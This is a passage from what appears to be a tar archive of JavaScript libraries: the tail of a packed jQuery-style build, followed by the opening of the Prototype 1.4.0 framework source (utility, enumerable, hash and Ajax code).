e=D.W.3M(c||b,H(a){D(7).4e(a,e);I(c||b).1w(7,19)});I 7.P(H(){D.W.1e(7,d,e,c&&b)})},4e:H(a,b){I 7.P(H(){D.W.21(7,a,b)})},1P:H(c,a,b){I 7.P(H(){D.W.1P(c,a,7,M,b)})},5C:H(c,a,b){I 7[0]&&D.W.1P(c,a,7[0],Q,b)},2m:H(b){J c=19,i=1;1B(i<c.K)D.W.3M(b,c[i++]);I 7.4V(D.W.3M(b,H(a){7.4Z=(7.4Z||0)%i;a.32();I c[7.4Z++].1w(7,19)||Q}))},7X:H(a,b){I 7.2O(\'3D\',a).2O(\'3N\',b)},27:H(a){55();G(D.2Q)a.1k(S,D);N D.3A.1p(H(){I a.1k(7,D)});I 7}});D.1l({2Q:Q,3A:[],27:H(){G(!D.2Q){D.2Q=M;G(D.3A){D.P(D.3A,H(){7.1k(S)});D.3A=U}D(S).5C("27")}}});J x=Q;H 55(){G(x)I;x=M;G(S.3K&&!D.14.2G)S.3K("69",D.27,Q);G(D.14.1f&&1b==1S)(H(){G(D.2Q)I;1U{S.1C.7V("1A")}1V(3e){3B(19.3L,0);I}D.27()})();G(D.14.2G)S.3K("69",H(){G(D.2Q)I;R(J i=0;i<S.4W.K;i++)G(S.4W[i].3R){3B(19.3L,0);I}D.27()},Q);G(D.14.2k){J a;(H(){G(D.2Q)I;G(S.3f!="68"&&S.3f!="1J"){3B(19.3L,0);I}G(a===12)a=D("V, 7A[7U=7S]").K;G(S.4W.K!=a){3B(19.3L,0);I}D.27()})()}D.W.1e(1b,"43",D.27)}D.P(("7R,7Q,43,85,4y,4X,4V,7P,"+"7O,7N,89,53,51,7M,2A,"+"5o,7L,7K,8d,3e").1R(","),H(i,b){D.17[b]=H(a){I a?7.2O(b,a):7.1P(b)}});J F=H(a,c){J b=a.4k;1B(b&&b!=c)1U{b=b.1d}1V(3e){b=c}I b==c};D(1b).2O("4X",H(){D("*").1e(S).4e()});D.17.1l({67:D.17.43,43:H(g,d,c){G(1j g!=\'23\')I 7.67(g);J e=g.1h(" ");G(e>=0){J i=g.3s(e,g.K);g=g.3s(0,e)}c=c||H(){};J f="2P";G(d)G(D.1D(d)){c=d;d=U}N{d=D.3n(d);f="6g"}J h=7;D.3Y({1a:g,O:f,1O:"2K",L:d,1J:H(a,b){G(b=="1W"||b=="7J")h.2K(i?D("<1v/>").3v(a.4U.1o(/<1m(.|\\s)*?\\/1m>/g,"")).2q(i):a.4U);h.P(c,[a.4U,b,a])}});I 7},aL:H(){I D.3n(7.7I())},7I:H(){I 7.2l(H(){I D.Y(7,"3V")?D.2d(7.aH):7}).1E(H(){I 7.34&&!7.3R&&(7.4J||/2A|6y/i.11(7.Y)||/1r|1G|3Q/i.11(7.O))}).2l(H(i,c){J b=D(7).6e();I b==U?U:b.1q==2p?D.2l(b,H(a,i){I{34:c.34,2x:a}}):{34:c.34,2x:b}}).3p()}});D.P("7H,7G,7F,7D,7C,7B".1R(","),H(i,o){D.17[o]=H(f){I 7.2O(o,f)}});J B=1z();D.1l({3p:H(d,b,a,c){G(D.1D(b)){a=b;b=U}I D.3Y({O:"2P",1a:d,L:b,1W:a,1O:c})},aE:H(b,a){I D.3p(b,U,a,"1m")},aD:H(c,b,a){I D.3p(c,b,a,"3z")},aC:H(d,b,a,c){G(D.1D(b)){a=b;b={}}I D.3Y({O:"6g",1a:d,L:b,1W:a,1O:c})},aA:H(a){D.1l(D.60,a)},60:{1a:5Z.5Q,26:M,O:"2P",2T:0,7z:"4R/x-ax-3V-aw",7x:M,31:M,L:U,5Y:U,3Q:U,4Q:{2N:"4R/2N, 1r/2N",2K:"1r/2K",1m:"1r/4t, 4R/4t",3z:"4R/3z, 1r/4t",1r:"1r/as",4w:"*/*"}},4z:{},3Y:H(s){s=D.1l(M,s,D.1l(M,{},D.60,s));J g,2Z=/=\\?(&|$)/g,1u,L,O=s.O.2r();G(s.L&&s.7x&&1j s.L!="23")s.L=D.3n(s.L);G(s.1O=="4P"){G(O=="2P"){G(!s.1a.1I(2Z))s.1a+=(s.1a.1I(/\\?/)?"&":"?")+(s.4P||"7u")+"=?"}N G(!s.L||!s.L.1I(2Z))s.L=(s.L?s.L+"&":"")+(s.4P||"7u")+"=?";s.1O="3z"}G(s.1O=="3z"&&(s.L&&s.L.1I(2Z)||s.1a.1I(2Z))){g="4P"+B++;G(s.L)s.L=(s.L+"").1o(2Z,"="+g+"$1");s.1a=s.1a.1o(2Z,"="+g+"$1");s.1O="1m";1b[g]=H(a){L=a;1W();1J();1b[g]=12;1U{2U 1b[g]}1V(e){}G(i)i.37(h)}}G(s.1O=="1m"&&s.1Y==U)s.1Y=Q;G(s.1Y===Q&&O=="2P"){J j=1z();J k=s.1a.1o(/(\\?|&)3m=.*?(&|$)/,"$ap="+j+"$2");s.1a=k+((k==s.1a)?(s.1a.1I(/\\?/)?"&":"?")+"3m="+j:"")}G(s.L&&O=="2P"){s.1a+=(s.1a.1I(/\\?/)?"&":"?")+s.L;s.L=U}G(s.26&&!D.4O++)D.W.1P("7H");J n=/^(?:\\w+:)?\\/\\/([^\\/?#]+)/;G(s.1O=="1m"&&O=="2P"&&n.11(s.1a)&&n.2D(s.1a)[1]!=5Z.al){J i=S.3H("6w")[0];J h=S.3h("1m");h.4d=s.1a;G(s.7t)h.aj=s.7t;G(!g){J l=Q;h.ah=h.ag=H(){G(!l&&(!7.3f||7.3f=="68"||7.3f=="1J")){l=M;1W();1J();i.37(h)}}}i.3U(h);I 12}J m=Q;J c=1b.7s?2B 7s("ae.ac"):2B 7r();G(s.5Y)c.6R(O,s.1a,s.31,s.5Y,s.3Q);N c.6R(O,s.1a,s.31);1U{G(s.L)c.4B("ab-aa",s.7z);G(s.5S)c.4B("a9-5R-a8",D.4z[s.1a]||"a7, a6 a5 a4 5N:5N:5N a2");c.4B("X-9Z-9Y","7r");c.4B("9W",s.1O&&s.4Q[s.1O]?s.4Q[s.1O]+", */*":s.4Q.4w)}1V(e){}G(s.7m&&s.7m(c,s)===Q){s.26&&D.4O--;c.7l();I Q}G(s.26)D.W.1P("7B",[c,s]);J d=H(a){G(!m&&c&&(c.3f==4||a=="2T")){m=M;G(f){7k(f);f=U}1u=a=="2T"&&"2T"||!D.7j(c)&&"3e"||s.5S&&D.7h(c,s.1a)&&"7J"||"1W";G(1u=="1W"){1U{L=D.6X(c,s.1O,s.9S)}1V(e){1u="5J"}}G(1u=="1W"){J b;1U{b=c.5I("7g-5R")}1V(e){}G(s.5S&&b)D.4z[s.1a]=b;G(!g)1W()}N D.5H(s,c,1u);1J();G(s.31)c=U}};G(s.31){J f=4I(d,13);G(s.2T>0)3B(H(){G(c){c.7l();G(!m)d("2T")}},s.2T)}1U{c.9P(s.L)}1V(e){D.5H(s,c,U,e)}G(!s.31)d();H 1W(){G(s.1W)s.1W(L,1u);G(s.26)D.W.1P("7C",[c,s])}H 1J(){G(s.1J)s.1J(c,1u);G(s.26)D.W.1P("7F",[c,s]);G(s.26&&!--D.4O)D.W.1P("7G")}I c},5H:H(s,a,b,e){G(s.3e)s.3e(a,b,e);G(s.26)D.W.1P("7D",[a,s,e])},4O:0,7j:H(a){1U{I!a.1u&&5Z.9O=="5p:"||(a.1u>=7e&&a.1u<9N)||a.1u==7c||a.1u==9K||D.14.2k&&a.1u==12}1V(e){}I Q},7h:H(a,c){1U{J b=a.5I("7g-5R");I a.1u==7c||b==D.4z[c]||D.14.2k&&a.1u==12}1V(e){}I Q},6X:H(a,c,b){J d=a.5I("9J-O"),2N=c=="2N"||!c&&d&&d.1h("2N")>=0,L=2N?a.9I:a.4U;G(2N&&L.1C.2j=="5J")7p"5J";G(b)L=b(L,c);G(c=="1m")D.5u(L);G(c=="3z")L=6u("("+L+")");I L},3n:H(a){J s=[];G(a.1q==2p||a.5w)D.P(a,H(){s.1p(3u(7.34)+"="+3u(7.2x))});N R(J j 1n a)G(a[j]&&a[j].1q==2p)D.P(a[j],H(){s.1p(3u(j)+"="+3u(7))});N s.1p(3u(j)+"="+3u(D.1D(a[j])?a[j]():a[j]));I s.6s("&").1o(/%20/g,"+")}});D.17.1l({1N:H(c,b){I c?7.2g({1Z:"1N",2h:"1N",1y:"1N"},c,b):7.1E(":1G").P(H(){7.V.18=7.5D||"";G(D.1g(7,"18")=="2F"){J a=D("<"+7.2j+" />").6P("1c");7.V.18=a.1g("18");G(7.V.18=="2F")7.V.18="3I";a.21()}}).3l()},1M:H(b,a){I b?7.2g({1Z:"1M",2h:"1M",1y:"1M"},b,a):7.1E(":4j").P(H(){7.5D=7.5D||D.1g(7,"18");7.V.18="2F"}).3l()},78:D.17.2m,2m:H(a,b){I D.1D(a)&&D.1D(b)?7.78.1w(7,19):a?7.2g({1Z:"2m",2h:"2m",1y:"2m"},a,b):7.P(H(){D(7)[D(7).3F(":1G")?"1N":"1M"]()})},9G:H(b,a){I 7.2g({1Z:"1N"},b,a)},9F:H(b,a){I 7.2g({1Z:"1M"},b,a)},9E:H(b,a){I 7.2g({1Z:"2m"},b,a)},9D:H(b,a){I 7.2g({1y:"1N"},b,a)},9M:H(b,a){I 7.2g({1y:"1M"},b,a)},9C:H(c,a,b){I 7.2g({1y:a},c,b)},2g:H(k,j,i,g){J h=D.77(j,i,g);I 7[h.36===Q?"P":"36"](H(){G(7.16!=1)I Q;J f=D.1l({},h),p,1G=D(7).3F(":1G"),46=7;R(p 1n k){G(k[p]=="1M"&&1G||k[p]=="1N"&&!1G)I f.1J.1k(7);G(p=="1Z"||p=="2h"){f.18=D.1g(7,"18");f.33=7.V.33}}G(f.33!=U)7.V.33="1G";f.45=D.1l({},k);D.P(k,H(c,a){J e=2B D.28(46,f,c);G(/2m|1N|1M/.11(a))e[a=="2m"?1G?"1N":"1M":a](k);N{J b=a.6r().1I(/^([+-]=)?([\\d+-.]+)(.*)$/),2b=e.1t(M)||0;G(b){J d=3d(b[2]),2M=b[3]||"2X";G(2M!="2X"){46.V[c]=(d||1)+2M;2b=((d||1)/e.1t(M))*2b;46.V[c]=2b+2M}G(b[1])d=((b[1]=="-="?-1:1)*d)+2b;e.3G(2b,d,2M)}N e.3G(2b,a,"")}});I M})},36:H(a,b){G(D.1D(a)||(a&&a.1q==2p)){b=a;a="28"}G(!a||(1j a=="23"&&!b))I A(7[0],a);I 7.P(H(){G(b.1q==2p)A(7,a,b);N{A(7,a).1p(b);G(A(7,a).K==1)b.1k(7)}})},9X:H(b,c){J a=D.3O;G(b)7.36([]);7.P(H(){R(J i=a.K-1;i>=0;i--)G(a[i].T==7){G(c)a[i](M);a.7n(i,1)}});G(!c)7.5A();I 7}});J A=H(b,c,a){G(b){c=c||"28";J q=D.L(b,c+"36");G(!q||a)q=D.L(b,c+"36",D.2d(a))}I q};D.17.5A=H(a){a=a||"28";I 7.P(H(){J q=A(7,a);q.4s();G(q.K)q[0].1k(7)})};D.1l({77:H(b,a,c){J d=b&&b.1q==a0?b:{1J:c||!c&&a||D.1D(b)&&b,2u:b,41:c&&a||a&&a.1q!=9t&&a};d.2u=(d.2u&&d.2u.1q==4L?d.2u:D.28.5K[d.2u])||D.28.5K.74;d.5M=d.1J;d.1J=H(){G(d.36!==Q)D(7).5A();G(D.1D(d.5M))d.5M.1k(7)};I d},41:{73:H(p,n,b,a){I b+a*p},5P:H(p,n,b,a){I((-29.9r(p*29.9q)/2)+0.5)*a+b}},3O:[],48:U,28:H(b,c,a){7.15=c;7.T=b;7.1i=a;G(!c.3Z)c.3Z={}}});D.28.44={4D:H(){G(7.15.2Y)7.15.2Y.1k(7.T,7.1z,7);(D.28.2Y[7.1i]||D.28.2Y.4w)(7);G(7.1i=="1Z"||7.1i=="2h")7.T.V.18="3I"},1t:H(a){G(7.T[7.1i]!=U&&7.T.V[7.1i]==U)I 7.T[7.1i];J r=3d(D.1g(7.T,7.1i,a));I r&&r>-9p?r:3d(D.2a(7.T,7.1i))||0},3G:H(c,b,d){7.5V=1z();7.2b=c;7.3l=b;7.2M=d||7.2M||"2X";7.1z=7.2b;7.2S=7.4N=0;7.4D();J e=7;H t(a){I e.2Y(a)}t.T=7.T;D.3O.1p(t);G(D.48==U){D.48=4I(H(){J a=D.3O;R(J i=0;i<a.K;i++)G(!a[i]())a.7n(i--,1);G(!a.K){7k(D.48);D.48=U}},13)}},1N:H(){7.15.3Z[7.1i]=D.1K(7.T.V,7.1i);7.15.1N=M;7.3G(0,7.1t());G(7.1i=="2h"||7.1i=="1Z")7.T.V[7.1i]="9m";D(7.T).1N()},1M:H(){7.15.3Z[7.1i]=D.1K(7.T.V,7.1i);7.15.1M=M;7.3G(7.1t(),0)},2Y:H(a){J t=1z();G(a||t>7.15.2u+7.5V){7.1z=7.3l;7.2S=7.4N=1;7.4D();7.15.45[7.1i]=M;J b=M;R(J i 1n 7.15.45)G(7.15.45[i]!==M)b=Q;G(b){G(7.15.18!=U){7.T.V.33=7.15.33;7.T.V.18=7.15.18;G(D.1g(7.T,"18")=="2F")7.T.V.18="3I"}G(7.15.1M)7.T.V.18="2F";G(7.15.1M||7.15.1N)R(J p 1n 7.15.45)D.1K(7.T.V,p,7.15.3Z[p])}G(b)7.15.1J.1k(7.T);I Q}N{J n=t-7.5V;7.4N=n/7.15.2u;7.2S=D.41[7.15.41||(D.41.5P?"5P":"73")](7.4N,n,0,1,7.15.2u);7.1z=7.2b+((7.3l-7.2b)*7.2S);7.4D()}I M}};D.1l(D.28,{5K:{9l:9j,9i:7e,74:9g},2Y:{2e:H(a){a.T.2e=a.1z},2c:H(a){a.T.2c=a.1z},1y:H(a){D.1K(a.T.V,"1y",a.1z)},4w:H(a){a.T.V[a.1i]=a.1z+a.2M}}});D.17.2i=H(){J b=0,1S=0,T=7[0],3q;G(T)ao(D.14){J d=T.1d,4a=T,1s=T.1s,1Q=T.2z,5U=2k&&3r(5B)<9c&&!/9a/i.11(v),1g=D.2a,3c=1g(T,"30")=="3c";G(T.7y){J c=T.7y();1e(c.1A+29.2f(1Q.1C.2e,1Q.1c.2e),c.1S+29.2f(1Q.1C.2c,1Q.1c.2c));1e(-1Q.1C.6b,-1Q.1C.6a)}N{1e(T.5X,T.5W);1B(1s){1e(1s.5X,1s.5W);G(42&&!/^t(98|d|h)$/i.11(1s.2j)||2k&&!5U)2C(1s);G(!3c&&1g(1s,"30")=="3c")3c=M;4a=/^1c$/i.11(1s.2j)?4a:1s;1s=1s.1s}1B(d&&d.2j&&!/^1c|2K$/i.11(d.2j)){G(!/^96|1T.*$/i.11(1g(d,"18")))1e(-d.2e,-d.2c);G(42&&1g(d,"33")!="4j")2C(d);d=d.1d}G((5U&&(3c||1g(4a,"30")=="5x"))||(42&&1g(4a,"30")!="5x"))1e(-1Q.1c.5X,-1Q.1c.5W);G(3c)1e(29.2f(1Q.1C.2e,1Q.1c.2e),29.2f(1Q.1C.2c,1Q.1c.2c))}3q={1S:1S,1A:b}}H 2C(a){1e(D.2a(a,"6V",M),D.2a(a,"6U",M))}H 1e(l,t){b+=3r(l,10)||0;1S+=3r(t,10)||0}I 3q};D.17.1l({30:H(){J a=0,1S=0,3q;G(7[0]){J b=7.1s(),2i=7.2i(),4c=/^1c|2K$/i.11(b[0].2j)?{1S:0,1A:0}:b.2i();2i.1S-=25(7,\'94\');2i.1A-=25(7,\'aF\');4c.1S+=25(b,\'6U\');4c.1A+=25(b,\'6V\');3q={1S:2i.1S-4c.1S,1A:2i.1A-4c.1A}}I 3q},1s:H(){J a=7[0].1s;1B(a&&(!/^1c|2K$/i.11(a.2j)&&D.1g(a,\'30\')==\'93\'))a=a.1s;I D(a)}});D.P([\'5e\',\'5G\'],H(i,b){J c=\'4y\'+b;D.17[c]=H(a){G(!7[0])I;I a!=12?7.P(H(){7==1b||7==S?1b.92(!i?a:D(1b).2e(),i?a:D(1b).2c()):7[c]=a}):7[0]==1b||7[0]==S?46[i?\'aI\':\'aJ\']||D.71&&S.1C[c]||S.1c[c]:7[0][c]}});D.P(["6N","4b"],H(i,b){J c=i?"5e":"5G",4f=i?"6k":"6i";D.17["5s"+b]=H(){I 7[b.3y()]()+25(7,"57"+c)+25(7,"57"+4f)};D.17["90"+b]=H(a){I 7["5s"+b]()+25(7,"2C"+c+"4b")+25(7,"2C"+4f+"4b")+(a?25(7,"6S"+c)+25(7,"6S"+4f):0)}})})();',62,669,'|||||||this|||||||||||||||||||||||||||||||||||if|function|return|var|length|data|true|else|type|each|false|for|document|elem|null|style|event||nodeName|||test|undefined||browser|options|nodeType|fn|display|arguments|url|window|body|parentNode|add|msie|css|indexOf|prop|typeof|call|extend|script|in|replace|push|constructor|text|offsetParent|cur|status|div|apply|firstChild|opacity|now|left|while|documentElement|isFunction|filter|className|hidden|handle|match|complete|attr|ret|hide|show|dataType|trigger|doc|split|top|table|try|catch|success|break|cache|height||remove|tbody|string|guid|num|global|ready|fx|Math|curCSS|start|scrollTop|makeArray|scrollLeft|max|animate|width|offset|tagName|safari|map|toggle||done|Array|find|toUpperCase|button|special|duration|id|copy|value|handler|ownerDocument|select|new|border|exec|stack|none|opera|nextSibling|pushStack|target|html|inArray|unit|xml|bind|GET|isReady|merge|pos|timeout|delete|one|selected|px|step|jsre|position|async|preventDefault|overflow|name|which|queue|removeChild|namespace|insertBefore|nth|removeData|fixed|parseFloat|error|readyState|multiFilter|createElement|rl|re|trim|end|_|param|first|get|results|parseInt|slice|childNodes|encodeURIComponent|append|events|elems|toLowerCase|json|readyList|setTimeout|grep|mouseenter|color|is|custom|getElementsByTagName|block|stopPropagation|addEventListener|callee|proxy|mouseleave|timers|defaultView|password|disabled|last|has|appendChild|form|domManip|props|ajax|orig|set|easing|mozilla|load|prototype|curAnim|self|charCode|timerId|object|offsetChild|Width|parentOffset|src|unbind|br|currentStyle|clean|float|visible|relatedTarget|previousSibling|handlers|isXMLDoc|on|setup|nodeIndex|unique|shift|javascript|child|RegExp|_default|deep|scroll|lastModified|teardown|setRequestHeader|timeStamp|update|empty|tr|getAttribute|innerHTML|setInterval|checked|fromElement|Number|jQuery|state|active|jsonp|accepts|application|dir|input|responseText|click|styleSheets|unload|not|lastToggle|outline|mouseout|getPropertyValue|mouseover|getComputedStyle|bindReady|String|padding|pageX|metaKey|keyCode|getWH|andSelf|clientX|Left|all|visibility|container|index|init|triggered|removeAttribute|classFilter|prevObject|submit|file|after|windowData|inner|client|globalEval|sibling|jquery|absolute|clone|wrapAll|dequeue|version|triggerHandler|oldblock|ctrlKey|createTextNode|Top|handleError|getResponseHeader|parsererror|speeds|checkbox|old|00|radio|swing|href|Modified|ifModified|lastChild|safari2|startTime|offsetTop|offsetLeft|username|location|ajaxSettings|getElementById|isSimple|values|selectedIndex|runtimeStyle|rsLeft|_load|loaded|DOMContentLoaded|clientTop|clientLeft|toElement|srcElement|val|pageY|POST|unshift|Bottom|clientY|Right|fix|exclusive|detachEvent|cloneNode|removeEventListener|swap|toString|join|attachEvent|eval|substr|head|parse|textarea|reset|image|zoom|odd|even|before|prepend|exclude|expr|quickClass|quickID|uuid|quickChild|continue|Height|textContent|appendTo|contents|open|margin|evalScript|borderTopWidth|borderLeftWidth|parent|httpData|setArray|CSS1Compat|compatMode|boxModel|cssFloat|linear|def|webkit|nodeValue|speed|_toggle|eq|100|replaceWith|304|concat|200|alpha|Last|httpNotModified|getAttributeNode|httpSuccess|clearInterval|abort|beforeSend|splice|styleFloat|throw|colgroup|XMLHttpRequest|ActiveXObject|scriptCharset|callback|fieldset|multiple|processData|getBoundingClientRect|contentType|link|ajaxSend|ajaxSuccess|ajaxError|col|ajaxComplete|ajaxStop|ajaxStart|serializeArray|notmodified|keypress|keydown|change|mouseup|mousedown|dblclick|focus|blur|stylesheet|hasClass|rel|doScroll|black|hover|solid|cancelBubble|returnValue|wheelDelta|view|round|shiftKey|resize|screenY|screenX|relatedNode|mousemove|prevValue|originalTarget|offsetHeight|keyup|newValue|offsetWidth|eventPhase|detail|currentTarget|cancelable|bubbles|attrName|attrChange|altKey|originalEvent|charAt|0n|substring|animated|header|noConflict|line|enabled|innerText|contains|only|weight|font|gt|lt|uFFFF|u0128|size|417|Boolean|Date|toggleClass|removeClass|addClass|removeAttr|replaceAll|insertAfter|prependTo|wrap|contentWindow|contentDocument|iframe|children|siblings|prevAll|wrapInner|nextAll|outer|prev|scrollTo|static|marginTop|next|inline|parents|able|cellSpacing|adobeair|cellspacing|522|maxLength|maxlength|readOnly|400|readonly|fast|600|class|slow|1px|htmlFor|reverse|10000|PI|cos|compatible|Function|setData|ie|ra|it|rv|getData|userAgent|navigator|fadeTo|fadeIn|slideToggle|slideUp|slideDown|ig|responseXML|content|1223|NaN|fadeOut|300|protocol|send|setAttribute|option|dataFilter|cssText|changed|be|Accept|stop|With|Requested|Object|can|GMT|property|1970|Jan|01|Thu|Since|If|Type|Content|XMLHTTP|th|Microsoft|td|onreadystatechange|onload|cap|charset|colg|host|tfoot|specified|with|1_|thead|leg|plain|attributes|opt|embed|urlencoded|www|area|hr|ajaxSetup|meta|post|getJSON|getScript|marginLeft|img|elements|pageYOffset|pageXOffset|abbr|serialize|pixelLeft'.split('|'),0,{})) prototype.js 0000666 00000140353 15155054006 0007162 0 ustar 00 /* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff * against the source tree, available from the Prototype darcs repository. * * Prototype is freely distributable under the terms of an MIT-style license. * * For details, see the Prototype web site: http://prototype.conio.net/ * /*--------------------------------------------------------------------------*/ var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x} } var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } } } var Abstract = new Object(); Object.extend = function(destination, source) { for (property in source) { destination[property] = source[property]; } return destination; } Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; } } Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); } } Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); } } Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; } }); var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; } } /*--------------------------------------------------------------------------*/ var PeriodicalExecuter = Class.create(); PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } } } /*--------------------------------------------------------------------------*/ function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements; } Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); }, escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; } }); String.prototype.parseQuery = String.prototype.toQueryParams; var $break = new Object(); var $continue = new Object(); var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; }, grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; }, invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; }, sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; } } Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray }); var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; } } Object.extend(Array.prototype, Enumerable); Array.prototype._reverse = Array.prototype.reverse; Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; } }); var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); }, toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; } } function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash; } ObjectRange = Class.create(); Object.extend(ObjectRange.prototype, Enumerable); Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; } }); var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive); } var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0 } Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: 